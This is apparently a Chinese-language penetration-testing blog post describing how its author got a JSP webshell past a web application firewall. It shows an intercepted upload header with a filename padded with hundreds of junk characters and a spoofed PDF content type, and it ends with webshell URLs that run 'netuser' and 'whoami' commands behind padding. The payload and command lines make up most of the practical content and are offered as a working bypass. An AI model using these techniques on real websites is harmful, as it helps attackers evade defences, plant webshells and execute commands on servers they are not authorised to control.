通過大量垃圾字符繞過WAF上傳文件
一、簡介
在對網站進行滲透測試過程中,經常會遇見WAF,從而導致直接封IP,無法上傳文件,文件上傳漏洞對Web應用來說是一種非常嚴重的漏洞。
一般情況下,Web應用都會允許用戶上傳一些文件,如頭像、附件等信息,如果Web應用沒有對用戶上傳的文件進行有效的檢查過濾,那么惡意用戶就會上傳一句話木馬等Webshell,從而達到控制Web網站的目的。
一般服務端WAF檢測原理包括
黑名單檢測:一般有個專門的 blacklist 文件,里面會包含常見的危險腳本文件;
白名單檢測:一般有個專門的 whitelist 文件,里面會包含的正常文件。
二、繞過WAF
解析漏洞、截斷上傳%00、服務端繞過MIME檢測等。本文章介紹自己通過垃圾字符繞過WAF經歷,使用Burpsuite進行截斷代理,抓取數據包。


上傳文件JSP過程中WAF直接封了IP,提示不允許上傳文件。換個IP試一下,從新上傳文件
Content-Disposition:
form-data; name="file";
filename="1................................................................................................................................................................................................................................................................................JSP"
Content-Type: application/PDF


上傳JSP發現上傳失敗,所以嘗試使用大量垃圾字符,最后成功拿到shell

三、總結繞過WAF方法
1、使用多個文件名繞過WAF,成功上傳jsp
2、上傳內容使用垃圾字符進行繞過,
http://xxx.com/2021/03/31/xx.jsp?a=xxx很多的垃圾字符xxx&cmd=netuser
http://xxx.com/2021/03/31/xx.jsp?a=xxx很多的垃圾字符xxx&cmd=whoami